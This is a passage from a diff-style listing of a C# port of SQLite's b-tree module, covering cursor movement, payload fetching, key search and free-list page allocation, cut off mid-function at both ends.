( rc == SQLITE_OK && amt > 0 ) + { + return SQLITE_CORRUPT_BKPT(); + } + return rc; +} + +/* +** Read part of the key associated with cursor pCur. Exactly +** "amt" bytes will be transfered into pBuf[]. The transfer +** begins at "offset". +** +** The caller must ensure that pCur is pointing to a valid row +** in the table. +** +** Return SQLITE_OK on success or an error code if anything goes +** wrong. An error is returned if "offset+amt" is larger than +** the available payload. +*/ +static int sqlite3BtreeKey( BtCursor pCur, u32 offset, u32 amt, byte[] pBuf ) +{ + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + Debug.Assert( pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null ); + Debug.Assert( pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell ); + return accessPayload( pCur, offset, amt, pBuf, 0 ); +} + +/* +** Read part of the data associated with cursor pCur. Exactly +** "amt" bytes will be transfered into pBuf[]. The transfer +** begins at "offset". +** +** Return SQLITE_OK on success or an error code if anything goes +** wrong. An error is returned if "offset+amt" is larger than +** the available payload. +*/ +static int sqlite3BtreeData( BtCursor pCur, u32 offset, u32 amt, byte[] pBuf ) +{ + int rc; + +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +if ( pCur.eState==CURSOR_INVALID ){ +return SQLITE_ABORT; +} +#endif + + Debug.Assert( cursorHoldsMutex( pCur ) ); + rc = restoreCursorPosition( pCur ); + if ( rc == SQLITE_OK ) + { + Debug.Assert( pCur.eState == CURSOR_VALID ); + Debug.Assert( pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null ); + Debug.Assert( pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell ); + rc = accessPayload( pCur, offset, amt, pBuf, 0 ); + } + return rc; +} + +/* +** Return a pointer to payload information from the entry that the +** pCur cursor is pointing to. The pointer is to the beginning of +** the key if skipKey==null and it points to the beginning of data if +** skipKey==1. The number of bytes of available key/data is written +** into pAmt. If pAmt==null, then the value returned will not be +** a valid pointer. +** +** This routine is an optimization. It is common for the entire key +** and data to fit on the local page and for there to be no overflow +** pages. When that is so, this routine can be used to access the +** key and data without making a copy. If the key and/or data spills +** onto overflow pages, then accessPayload() must be used to reassemble +** the key/data and copy it into a preallocated buffer. +** +** The pointer returned by this routine looks directly into the cached +** page of the database. The data might change or move the next time +** any btree routine is called. +*/ +static byte[] fetchPayload( +BtCursor pCur, /* Cursor pointing to entry to read from */ +ref int pAmt, /* Write the number of available bytes here */ +ref int outOffset, /* Offset into Buffer */ +bool skipKey /* read beginning at data if this is true */ +) +{ + byte[] aPayload; + MemPage pPage; + u32 nKey; + u32 nLocal; + + Debug.Assert( pCur != null && pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + Debug.Assert( cursorHoldsMutex( pCur ) ); + outOffset = -1; + pPage = pCur.apPage[pCur.iPage]; + Debug.Assert( pCur.aiIdx[pCur.iPage] < pPage.nCell ); + if ( NEVER( pCur.info.nSize == 0 ) ) + { + btreeParseCell( pCur.apPage[pCur.iPage], pCur.aiIdx[pCur.iPage], + ref pCur.info ); + } + //aPayload = pCur.info.pCell; + //aPayload += pCur.info.nHeader; + aPayload = sqlite3Malloc( pCur.info.nSize - pCur.info.nHeader ); + if ( pPage.intKey != 0 ) + { + nKey = 0; + } + else + { + nKey = (u32)pCur.info.nKey; + } + if ( skipKey ) + { + //aPayload += nKey; + outOffset = (int)( pCur.info.iCell + pCur.info.nHeader + nKey ); + Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, (int)( pCur.info.nSize - pCur.info.nHeader - nKey ) ); + nLocal = pCur.info.nLocal - nKey; + } + else + { + outOffset = (int)( pCur.info.iCell + pCur.info.nHeader ); + Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, pCur.info.nSize - pCur.info.nHeader ); + nLocal = pCur.info.nLocal; + Debug.Assert( nLocal <= nKey ); + } + pAmt = (int)nLocal; + return aPayload; +} + +/* +** For the entry that cursor pCur is point to, return as +** many bytes of the key or data as are available on the local +** b-tree page. Write the number of available bytes into pAmt. +** +** The pointer returned is ephemeral. The key/data may move +** or be destroyed on the next call to any Btree routine, +** including calls from other threads against the same cache. +** Hence, a mutex on the BtShared should be held prior to calling +** this routine. +** +** These routines is used to get quick access to key and data +** in the common case where no overflow pages are used. +*/ +static byte[] sqlite3BtreeKeyFetch( BtCursor pCur, ref int pAmt, ref int outOffset ) +{ + byte[] p = null; + Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); + Debug.Assert( cursorHoldsMutex( pCur ) ); + if ( ALWAYS( pCur.eState == CURSOR_VALID ) ) + { + p = fetchPayload( pCur, ref pAmt, ref outOffset, false ); + } + return p; +} +static byte[] sqlite3BtreeDataFetch( BtCursor pCur, ref int pAmt, ref int outOffset ) +{ + byte[] p = null; + Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); + Debug.Assert( cursorHoldsMutex( pCur ) ); + if ( ALWAYS( pCur.eState == CURSOR_VALID ) ) + { + p = fetchPayload( pCur, ref pAmt, ref outOffset, true ); + } + return p; +} + +/* +** Move the cursor down to a new child page. The newPgno argument is the +** page number of the child page to move to. +** +** This function returns SQLITE_CORRUPT if the page-header flags field of +** the new child page does not match the flags field of the parent (i.e. +** if an intkey page appears to be the parent of a non-intkey page, or +** vice-versa). +*/ +static int moveToChild( BtCursor pCur, u32 newPgno ) +{ + int rc; + int i = pCur.iPage; + MemPage pNewPage = new MemPage(); + BtShared pBt = pCur.pBt; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + Debug.Assert( pCur.iPage < BTCURSOR_MAX_DEPTH ); + if ( pCur.iPage >= ( BTCURSOR_MAX_DEPTH - 1 ) ) + { + return SQLITE_CORRUPT_BKPT(); + } + rc = getAndInitPage( pBt, newPgno, ref pNewPage ); + if ( rc != 0 ) + return rc; + pCur.apPage[i + 1] = pNewPage; + pCur.aiIdx[i + 1] = 0; + pCur.iPage++; + + pCur.info.nSize = 0; + pCur.validNKey = false; + if ( pNewPage.nCell < 1 || pNewPage.intKey != pCur.apPage[i].intKey ) + { + return SQLITE_CORRUPT_BKPT(); + } + return SQLITE_OK; +} + +#if !NDEBUG +/* +** Page pParent is an internal (non-leaf) tree page. This function +** asserts that page number iChild is the left-child if the iIdx'th +** cell in page pParent. Or, if iIdx is equal to the total number of +** cells in pParent, that page number iChild is the right-child of +** the page. +*/ +static void assertParentIndex( MemPage pParent, int iIdx, Pgno iChild ) +{ + Debug.Assert( iIdx <= pParent.nCell ); + if ( iIdx == pParent.nCell ) + { + Debug.Assert( sqlite3Get4byte( pParent.aData, pParent.hdrOffset + 8 ) == iChild ); + } + else + { + Debug.Assert( sqlite3Get4byte( pParent.aData, findCell( pParent, iIdx ) ) == iChild ); + } +} +#else +//# define assertParentIndex(x,y,z) +static void assertParentIndex(MemPage pParent, int iIdx, Pgno iChild) { } +#endif + +/* +** Move the cursor up to the parent page. +** +** pCur.idx is set to the cell index that contains the pointer +** to the page we are coming from. If we are coming from the +** right-most child page then pCur.idx is set to one more than +** the largest cell index. +*/ +static void moveToParent( BtCursor pCur ) +{ + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + Debug.Assert( pCur.iPage > 0 ); + Debug.Assert( pCur.apPage[pCur.iPage] != null ); + assertParentIndex( + pCur.apPage[pCur.iPage - 1], + pCur.aiIdx[pCur.iPage - 1], + pCur.apPage[pCur.iPage].pgno + ); + releasePage( pCur.apPage[pCur.iPage] ); + pCur.iPage--; + pCur.info.nSize = 0; + pCur.validNKey = false; +} + +/* +** Move the cursor to point to the root page of its b-tree structure. +** +** If the table has a virtual root page, then the cursor is moved to point +** to the virtual root page instead of the actual root page. A table has a +** virtual root page when the actual root page contains no cells and a +** single child page. This can only happen with the table rooted at page 1. +** +** If the b-tree structure is empty, the cursor state is set to +** CURSOR_INVALID. Otherwise, the cursor is set to point to the first +** cell located on the root (or virtual root) page and the cursor state +** is set to CURSOR_VALID. +** +** If this function returns successfully, it may be assumed that the +** page-header flags indicate that the [virtual] root-page is the expected +** kind of b-tree page (i.e. if when opening the cursor the caller did not +** specify a KeyInfo structure the flags byte is set to 0x05 or 0x0D, +** indicating a table b-tree, or if the caller did specify a KeyInfo +** structure the flags byte is set to 0x02 or 0x0A, indicating an index +** b-tree). +*/ +static int moveToRoot( BtCursor pCur ) +{ + MemPage pRoot; + int rc = SQLITE_OK; + Btree p = pCur.pBtree; + BtShared pBt = p.pBt; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( CURSOR_INVALID < CURSOR_REQUIRESEEK ); + Debug.Assert( CURSOR_VALID < CURSOR_REQUIRESEEK ); + Debug.Assert( CURSOR_FAULT > CURSOR_REQUIRESEEK ); + if ( pCur.eState >= CURSOR_REQUIRESEEK ) + { + if ( pCur.eState == CURSOR_FAULT ) + { + Debug.Assert( pCur.skipNext != SQLITE_OK ); + return pCur.skipNext; + } + sqlite3BtreeClearCursor( pCur ); + } + + if ( pCur.iPage >= 0 ) + { + int i; + for ( i = 1; i <= pCur.iPage; i++ ) + { + releasePage( pCur.apPage[i] ); + } + pCur.iPage = 0; + } + else + { + rc = getAndInitPage( pBt, pCur.pgnoRoot, ref pCur.apPage[0] ); + if ( rc != SQLITE_OK ) + { + pCur.eState = CURSOR_INVALID; + return rc; + } + pCur.iPage = 0; + + /* If pCur.pKeyInfo is not NULL, then the caller that opened this cursor + ** expected to open it on an index b-tree. Otherwise, if pKeyInfo is + ** NULL, the caller expects a table b-tree. If this is not the case, + ** return an SQLITE_CORRUPT error. */ + Debug.Assert( pCur.apPage[0].intKey == 1 || pCur.apPage[0].intKey == 0 ); + if ( ( pCur.pKeyInfo == null ) != ( pCur.apPage[0].intKey != 0 ) ) + { + return SQLITE_CORRUPT_BKPT(); + } + } + + /* Assert that the root page is of the correct type. This must be the + ** case as the call to this function that loaded the root-page (either + ** this call or a previous invocation) would have detected corruption + ** if the assumption were not true, and it is not possible for the flags + ** byte to have been modified while this cursor is holding a reference + ** to the page. */ + pRoot = pCur.apPage[0]; + Debug.Assert( pRoot.pgno == pCur.pgnoRoot ); + Debug.Assert( pRoot.isInit != 0 && ( pCur.pKeyInfo == null ) == ( pRoot.intKey != 0 ) ); + + pCur.aiIdx[0] = 0; + pCur.info.nSize = 0; + pCur.atLast = 0; + pCur.validNKey = false; + + if ( pRoot.nCell == 0 && 0 == pRoot.leaf ) + { + Pgno subpage; + if ( pRoot.pgno != 1 ) + return SQLITE_CORRUPT_BKPT(); + subpage = sqlite3Get4byte( pRoot.aData, pRoot.hdrOffset + 8 ); + pCur.eState = CURSOR_VALID; + rc = moveToChild( pCur, subpage ); + } + else + { + pCur.eState = ( ( pRoot.nCell > 0 ) ? CURSOR_VALID : CURSOR_INVALID ); + } + return rc; +} + +/* +** Move the cursor down to the left-most leaf entry beneath the +** entry to which it is currently pointing. +** +** The left-most leaf is the one with the smallest key - the first +** in ascending order. +*/ +static int moveToLeftmost( BtCursor pCur ) +{ + Pgno pgno; + int rc = SQLITE_OK; + MemPage pPage; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + while ( rc == SQLITE_OK && 0 == ( pPage = pCur.apPage[pCur.iPage] ).leaf ) + { + Debug.Assert( pCur.aiIdx[pCur.iPage] < pPage.nCell ); + pgno = sqlite3Get4byte( pPage.aData, findCell( pPage, pCur.aiIdx[pCur.iPage] ) ); + rc = moveToChild( pCur, pgno ); + } + return rc; +} + +/* +** Move the cursor down to the right-most leaf entry beneath the +** page to which it is currently pointing. Notice the difference +** between moveToLeftmost() and moveToRightmost(). moveToLeftmost() +** finds the left-most entry beneath the *entry* whereas moveToRightmost() +** finds the right-most entry beneath the page*. +** +** The right-most entry is the one with the largest key - the last +** key in ascending order. +*/ +static int moveToRightmost( BtCursor pCur ) +{ + Pgno pgno; + int rc = SQLITE_OK; + MemPage pPage = null; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + while ( rc == SQLITE_OK && 0 == ( pPage = pCur.apPage[pCur.iPage] ).leaf ) + { + pgno = sqlite3Get4byte( pPage.aData, pPage.hdrOffset + 8 ); + pCur.aiIdx[pCur.iPage] = pPage.nCell; + rc = moveToChild( pCur, pgno ); + } + if ( rc == SQLITE_OK ) + { + pCur.aiIdx[pCur.iPage] = (u16)( pPage.nCell - 1 ); + pCur.info.nSize = 0; + pCur.validNKey = false; + } + return rc; +} + +/* Move the cursor to the first entry in the table. Return SQLITE_OK +** on success. Set pRes to 0 if the cursor actually points to something +** or set pRes to 1 if the table is empty. +*/ +static int sqlite3BtreeFirst( BtCursor pCur, ref int pRes ) +{ + int rc; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); + rc = moveToRoot( pCur ); + if ( rc == SQLITE_OK ) + { + if ( pCur.eState == CURSOR_INVALID ) + { + Debug.Assert( pCur.apPage[pCur.iPage].nCell == 0 ); + pRes = 1; + } + else + { + Debug.Assert( pCur.apPage[pCur.iPage].nCell > 0 ); + pRes = 0; + rc = moveToLeftmost( pCur ); + } + } + return rc; +} + +/* Move the cursor to the last entry in the table. Return SQLITE_OK +** on success. Set pRes to 0 if the cursor actually points to something +** or set pRes to 1 if the table is empty. +*/ +static int sqlite3BtreeLast( BtCursor pCur, ref int pRes ) +{ + int rc; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); + + /* If the cursor already points to the last entry, this is a no-op. */ + if ( CURSOR_VALID == pCur.eState && pCur.atLast != 0 ) + { +#if SQLITE_DEBUG + /* This block serves to Debug.Assert() that the cursor really does point +** to the last entry in the b-tree. */ + int ii; + for ( ii = 0; ii < pCur.iPage; ii++ ) + { + Debug.Assert( pCur.aiIdx[ii] == pCur.apPage[ii].nCell ); + } + Debug.Assert( pCur.aiIdx[pCur.iPage] == pCur.apPage[pCur.iPage].nCell - 1 ); + Debug.Assert( pCur.apPage[pCur.iPage].leaf != 0 ); +#endif + return SQLITE_OK; + } + + rc = moveToRoot( pCur ); + if ( rc == SQLITE_OK ) + { + if ( CURSOR_INVALID == pCur.eState ) + { + Debug.Assert( pCur.apPage[pCur.iPage].nCell == 0 ); + pRes = 1; + } + else + { + Debug.Assert( pCur.eState == CURSOR_VALID ); + pRes = 0; + rc = moveToRightmost( pCur ); + pCur.atLast = (u8)( rc == SQLITE_OK ? 1 : 0 ); + } + } + return rc; +} + +/* Move the cursor so that it points to an entry near the key +** specified by pIdxKey or intKey. Return a success code. +** +** For INTKEY tables, the intKey parameter is used. pIdxKey +** must be NULL. For index tables, pIdxKey is used and intKey +** is ignored. +** +** If an exact match is not found, then the cursor is always +** left pointing at a leaf page which would hold the entry if it +** were present. The cursor might point to an entry that comes +** before or after the key. +** +** An integer is written into pRes which is the result of +** comparing the key with the entry to which the cursor is +** pointing. The meaning of the integer written into +** pRes is as follows: +** +** pRes<0 The cursor is left pointing at an entry that +** is smaller than intKey/pIdxKey or if the table is empty +** and the cursor is therefore left point to nothing. +** +** pRes==null The cursor is left pointing at an entry that +** exactly matches intKey/pIdxKey. +** +** pRes>0 The cursor is left pointing at an entry that +** is larger than intKey/pIdxKey. +** +*/ +static int sqlite3BtreeMovetoUnpacked( +BtCursor pCur, /* The cursor to be moved */ +UnpackedRecord pIdxKey, /* Unpacked index key */ +i64 intKey, /* The table key */ +int biasRight, /* If true, bias the search to the high end */ +ref int pRes /* Write search results here */ +) +{ + int rc; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); + // Not needed in C# // Debug.Assert( pRes != 0 ); + Debug.Assert( ( pIdxKey == null ) == ( pCur.pKeyInfo == null ) ); + + /* If the cursor is already positioned at the point we are trying + ** to move to, then just return without doing any work */ + if ( pCur.eState == CURSOR_VALID && pCur.validNKey + && pCur.apPage[0].intKey != 0 + ) + { + if ( pCur.info.nKey == intKey ) + { + pRes = 0; + return SQLITE_OK; + } + if ( pCur.atLast != 0 && pCur.info.nKey < intKey ) + { + pRes = -1; + return SQLITE_OK; + } + } + + rc = moveToRoot( pCur ); + if ( rc != 0 ) + { + return rc; + } + Debug.Assert( pCur.apPage[pCur.iPage] != null ); + Debug.Assert( pCur.apPage[pCur.iPage].isInit != 0 ); + Debug.Assert( pCur.apPage[pCur.iPage].nCell > 0 || pCur.eState == CURSOR_INVALID ); + if ( pCur.eState == CURSOR_INVALID ) + { + pRes = -1; + Debug.Assert( pCur.apPage[pCur.iPage].nCell == 0 ); + return SQLITE_OK; + } + Debug.Assert( pCur.apPage[0].intKey != 0 || pIdxKey != null ); + for ( ; ; ) + { + int lwr, upr, idx; + Pgno chldPg; + MemPage pPage = pCur.apPage[pCur.iPage]; + int c; + + /* pPage.nCell must be greater than zero. If this is the root-page + ** the cursor would have been INVALID above and this for(;;) loop + ** not run. If this is not the root-page, then the moveToChild() routine + ** would have already detected db corruption. Similarly, pPage must + ** be the right kind (index or table) of b-tree page. Otherwise + ** a moveToChild() or moveToRoot() call would have detected corruption. */ + Debug.Assert( pPage.nCell > 0 ); + Debug.Assert( pPage.intKey == ( ( pIdxKey == null ) ? 1 : 0 ) ); + lwr = 0; + upr = pPage.nCell - 1; + if ( biasRight != 0 ) + { + pCur.aiIdx[pCur.iPage] = (u16)( idx = upr ); + } + else + { + pCur.aiIdx[pCur.iPage] = (u16)( idx = ( upr + lwr ) / 2 ); + } + for ( ; ; ) + { + int pCell; /* Pointer to current cell in pPage */ + + Debug.Assert( idx == pCur.aiIdx[pCur.iPage] ); + pCur.info.nSize = 0; + pCell = findCell( pPage, idx ) + pPage.childPtrSize; + if ( pPage.intKey != 0 ) + { + i64 nCellKey = 0; + if ( pPage.hasData != 0 ) + { + u32 Dummy0 = 0; + pCell += getVarint32( pPage.aData, pCell, out Dummy0 ); + } + getVarint( pPage.aData, pCell, out nCellKey ); + if ( nCellKey == intKey ) + { + c = 0; + } + else if ( nCellKey < intKey ) + { + c = -1; + } + else + { + Debug.Assert( nCellKey > intKey ); + c = +1; + } + pCur.validNKey = true; + pCur.info.nKey = nCellKey; + } + else + { + /* The maximum supported page-size is 65536 bytes. This means that + ** the maximum number of record bytes stored on an index B-Tree + ** page is less than 16384 bytes and may be stored as a 2-byte + ** varint. This information is used to attempt to avoid parsing + ** the entire cell by checking for the cases where the record is + ** stored entirely within the b-tree page by inspecting the first + ** 2 bytes of the cell. + */ + int nCell = pPage.aData[pCell + 0]; //pCell[0]; + if ( 0 == ( nCell & 0x80 ) && nCell <= pPage.maxLocal ) + { + /* This branch runs if the record-size field of the cell is a + ** single byte varint and the record fits entirely on the main + ** b-tree page. */ + c = sqlite3VdbeRecordCompare( nCell, pPage.aData, pCell + 1, pIdxKey ); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[1], pIdxKey ); + } + else if ( 0 == ( pPage.aData[pCell + 1] & 0x80 )//!(pCell[1] & 0x80) + && ( nCell = ( ( nCell & 0x7f ) << 7 ) + pPage.aData[pCell + 1] ) <= pPage.maxLocal//pCell[1])<=pPage.maxLocal + ) + { + /* The record-size field is a 2 byte varint and the record + ** fits entirely on the main b-tree page. */ + c = sqlite3VdbeRecordCompare( nCell, pPage.aData, pCell + 2, pIdxKey ); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[2], pIdxKey ); + } + else + { + /* The record flows over onto one or more overflow pages. In + ** this case the whole cell needs to be parsed, a buffer allocated + ** and accessPayload() used to retrieve the record into the + ** buffer before VdbeRecordCompare() can be called. */ + u8[] pCellKey; + u8[] pCellBody = new u8[pPage.aData.Length - pCell + pPage.childPtrSize]; + Buffer.BlockCopy( pPage.aData, pCell - pPage.childPtrSize, pCellBody, 0, pCellBody.Length );// u8 * const pCellBody = pCell - pPage->childPtrSize; + btreeParseCellPtr( pPage, pCellBody, ref pCur.info ); + nCell = (int)pCur.info.nKey; + pCellKey = sqlite3Malloc( nCell ); + //if ( pCellKey == null ) + //{ + // rc = SQLITE_NOMEM; + // goto moveto_finish; + //} + rc = accessPayload( pCur, 0, (u32)nCell, pCellKey, 0 ); + if ( rc != 0 ) + { + pCellKey = null;// sqlite3_free(ref pCellKey ); + goto moveto_finish; + } + c = sqlite3VdbeRecordCompare( nCell, pCellKey, pIdxKey ); + pCellKey = null;// sqlite3_free(ref pCellKey ); + } + } + if ( c == 0 ) + { + if ( pPage.intKey != 0 && 0 == pPage.leaf ) + { + lwr = idx; + upr = lwr - 1; + break; + } + else + { + pRes = 0; + rc = SQLITE_OK; + goto moveto_finish; + } + } + if ( c < 0 ) + { + lwr = idx + 1; + } + else + { + upr = idx - 1; + } + if ( lwr > upr ) + { + break; + } + pCur.aiIdx[pCur.iPage] = (u16)( idx = ( lwr + upr ) / 2 ); + } + Debug.Assert( lwr == upr + 1 ); + Debug.Assert( pPage.isInit != 0 ); + if ( pPage.leaf != 0 ) + { + chldPg = 0; + } + else if ( lwr >= pPage.nCell ) + { + chldPg = sqlite3Get4byte( pPage.aData, pPage.hdrOffset + 8 ); + } + else + { + chldPg = sqlite3Get4byte( pPage.aData, findCell( pPage, lwr ) ); + } + if ( chldPg == 0 ) + { + Debug.Assert( pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell ); + pRes = c; + rc = SQLITE_OK; + goto moveto_finish; + } + pCur.aiIdx[pCur.iPage] = (u16)lwr; + pCur.info.nSize = 0; + pCur.validNKey = false; + rc = moveToChild( pCur, chldPg ); + if ( rc != 0 ) + goto moveto_finish; + } +moveto_finish: + return rc; +} + + +/* +** Return TRUE if the cursor is not pointing at an entry of the table. +** +** TRUE will be returned after a call to sqlite3BtreeNext() moves +** past the last entry in the table or sqlite3BtreePrev() moves past +** the first entry. TRUE is also returned if the table is empty. +*/ +static bool sqlite3BtreeEof( BtCursor pCur ) +{ + /* TODO: What if the cursor is in CURSOR_REQUIRESEEK but all table entries + ** have been deleted? This API will need to change to return an error code + ** as well as the boolean result value. + */ + return ( CURSOR_VALID != pCur.eState ); +} + +/* +** Advance the cursor to the next entry in the database. If +** successful then set pRes=0. If the cursor +** was already pointing to the last entry in the database before +** this routine was called, then set pRes=1. +*/ +static int sqlite3BtreeNext( BtCursor pCur, ref int pRes ) +{ + int rc; + int idx; + MemPage pPage; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + rc = restoreCursorPosition( pCur ); + if ( rc != SQLITE_OK ) + { + return rc; + } + // Not needed in C# // Debug.Assert( pRes != 0 ); + if ( CURSOR_INVALID == pCur.eState ) + { + pRes = 1; + return SQLITE_OK; + } + if ( pCur.skipNext > 0 ) + { + pCur.skipNext = 0; + pRes = 0; + return SQLITE_OK; + } + pCur.skipNext = 0; + + pPage = pCur.apPage[pCur.iPage]; + idx = ++pCur.aiIdx[pCur.iPage]; + Debug.Assert( pPage.isInit != 0 ); + Debug.Assert( idx <= pPage.nCell ); + + pCur.info.nSize = 0; + pCur.validNKey = false; + if ( idx >= pPage.nCell ) + { + if ( 0 == pPage.leaf ) + { + rc = moveToChild( pCur, sqlite3Get4byte( pPage.aData, pPage.hdrOffset + 8 ) ); + if ( rc != 0 ) + return rc; + rc = moveToLeftmost( pCur ); + pRes = 0; + return rc; + } + do + { + if ( pCur.iPage == 0 ) + { + pRes = 1; + pCur.eState = CURSOR_INVALID; + return SQLITE_OK; + } + moveToParent( pCur ); + pPage = pCur.apPage[pCur.iPage]; + } while ( pCur.aiIdx[pCur.iPage] >= pPage.nCell ); + pRes = 0; + if ( pPage.intKey != 0 ) + { + rc = sqlite3BtreeNext( pCur, ref pRes ); + } + else + { + rc = SQLITE_OK; + } + return rc; + } + pRes = 0; + if ( pPage.leaf != 0 ) + { + return SQLITE_OK; + } + rc = moveToLeftmost( pCur ); + return rc; +} + + +/* +** Step the cursor to the back to the previous entry in the database. If +** successful then set pRes=0. If the cursor +** was already pointing to the first entry in the database before +** this routine was called, then set pRes=1. +*/ +static int sqlite3BtreePrevious( BtCursor pCur, ref int pRes ) +{ + int rc; + MemPage pPage; + + Debug.Assert( cursorHoldsMutex( pCur ) ); + rc = restoreCursorPosition( pCur ); + if ( rc != SQLITE_OK ) + { + return rc; + } + pCur.atLast = 0; + if ( CURSOR_INVALID == pCur.eState ) + { + pRes = 1; + return SQLITE_OK; + } + if ( pCur.skipNext < 0 ) + { + pCur.skipNext = 0; + pRes = 0; + return SQLITE_OK; + } + pCur.skipNext = 0; + + pPage = pCur.apPage[pCur.iPage]; + Debug.Assert( pPage.isInit != 0 ); + if ( 0 == pPage.leaf ) + { + int idx = pCur.aiIdx[pCur.iPage]; + rc = moveToChild( pCur, sqlite3Get4byte( pPage.aData, findCell( pPage, idx ) ) ); + if ( rc != 0 ) + { + return rc; + } + rc = moveToRightmost( pCur ); + } + else + { + while ( pCur.aiIdx[pCur.iPage] == 0 ) + { + if ( pCur.iPage == 0 ) + { + pCur.eState = CURSOR_INVALID; + pRes = 1; + return SQLITE_OK; + } + moveToParent( pCur ); + } + pCur.info.nSize = 0; + pCur.validNKey = false; + + pCur.aiIdx[pCur.iPage]--; + pPage = pCur.apPage[pCur.iPage]; + if ( pPage.intKey != 0 && 0 == pPage.leaf ) + { + rc = sqlite3BtreePrevious( pCur, ref pRes ); + } + else + { + rc = SQLITE_OK; + } + } + pRes = 0; + return rc; +} + +/* +** Allocate a new page from the database file. +** +** The new page is marked as dirty. (In other words, sqlite3PagerWrite() +** has already been called on the new page.) The new page has also +** been referenced and the calling routine is responsible for calling +** sqlite3PagerUnref() on the new page when it is done. +** +** SQLITE_OK is returned on success. Any other return value indicates +** an error. ppPage and pPgno are undefined in the event of an error. +** Do not invoke sqlite3PagerUnref() on ppPage if an error is returned. +** +** If the "nearby" parameter is not 0, then a (feeble) effort is made to +** locate a page close to the page number "nearby". This can be used in an +** attempt to keep related pages close to each other in the database file, +** which in turn can make database access faster. +** +** If the "exact" parameter is not 0, and the page-number nearby exists +** anywhere on the free-list, then it is guarenteed to be returned. This +** is only used by auto-vacuum databases when allocating a new table. +*/ +static int allocateBtreePage( +BtShared pBt, +ref MemPage ppPage, +ref Pgno pPgno, +Pgno nearby, +u8 exact +) +{ + MemPage pPage1; + int rc; + u32 n; /* Number of pages on the freelist */ + u32 k; /* Number of leaves on the trunk of the freelist */ + MemPage pTrunk = null; + MemPage pPrevTrunk = null; + Pgno mxPage; /* Total size of the database file */ + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + pPage1 = pBt.pPage1; + mxPage = btreePagecount( pBt ); + n = sqlite3Get4byte( pPage1.aData, 36 ); + testcase( n == mxPage - 1 ); + if ( n >= mxPage ) + { + return SQLITE_CORRUPT_BKPT(); + } + if ( n > 0 ) + { + /* There are pages on the freelist. Reuse one of those pages. */ + Pgno iTrunk; + u8 searchList = 0; /* If the free-list must be searched for 'nearby' */ + + /* If the 'exact' parameter was true and a query of the pointer-map + ** shows that the page 'nearby' is somewhere on the free-list, then + ** the entire-list will be searched for that page. + */ +#if !SQLITE_OMIT_AUTOVACUUM + if ( exact != 0 && nearby <= mxPage ) + { + u8 eType = 0; + Debug.Assert( nearby > 0 ); + Debug.Assert( pBt.autoVacuum ); + u32 Dummy0 = 0; + rc = ptrmapGet( pBt, nearby, ref eType, ref Dummy0 ); + if ( rc != 0 ) + return rc; + if ( eType == PTRMAP_FREEPAGE ) + { + searchList = 1; + } + pPgno = nearby; + } +#endif + + /* Decrement the free-list count by 1. Set iTrunk to the index of the +** first free-list trunk page. iPrevTrunk is initially 1. +*/ + rc = sqlite3PagerWrite( pPage1.pDbPage ); + if ( rc != 0 ) + return rc; + sqlite3Put4byte( pPage1.aData, (u32)36, n - 1 ); + + /* The code within this loop is run only once if the 'searchList' variable + ** is not true. Otherwise, it runs once for each trunk-page on the + ** free-list until the page 'nearby' is located. + */ + do + { + pPrevTrunk = pTrunk; + if ( pPrevTrunk != null ) + { + iTrunk = sqlite3Get4byte( pPrevTrunk.aData, 0 ); + } + else + { + iTrunk = sqlite3Get4byte( pPage1.aData, 32 ); + } + testcase( iTrunk == mxPage ); + if ( iTrunk > mxPage ) + { + rc = SQLITE_CORRUPT_BKPT(); + } + else + { + rc = btreeGetPage( pBt, iTrunk, ref pTrunk, 0 ); + } + if ( rc != 0 ) + { + pTrunk = null; + goto end_allocate_page; + } + + k = sqlite3Get4byte( pTrunk.aData, 4 ); /* # of leaves on this trunk page */ + if ( k == 0 && 0 == searchList ) + { + /* The trunk has no leaves and the list is not being searched. + ** So extract the trunk page itself and use it as the newly + ** allocated page */ + Debug.Assert( pPrevTrunk == null ); + rc = sqlite3PagerWrite( pTrunk.pDbPage ); + if ( rc != 0 ) + { + goto end_allocate_page; + } + pPgno = iTrunk; + Buffer.BlockCopy( pTrunk.aData, 0, pPage1.aData, 32, 4 );//memcpy( pPage1.aData[32], ref pTrunk.aData[0], 4 ); + ppPage = pTrunk; + pTrunk = null; + TRACE( "ALLOCATE: %d trunk - %d free pages left\n", pPgno, n - 1 ); + } + else if ( k > (u32)( pBt.usableSize / 4 - 2 ) ) + { + /* Value of k is out of range. Database corruption */ + rc = SQLITE_CORRUPT_BKPT(); + goto end_allocate_page; +#if !SQLITE_OMIT_AUTOVACUUM + } + else if ( searchList != 0 && nearby == iTrunk ) + { + /* The list is being searched and this trunk page is the page + ** to allocate, regardless of whether it has leaves. + */ + Debug.Assert( pPgno == iTrunk 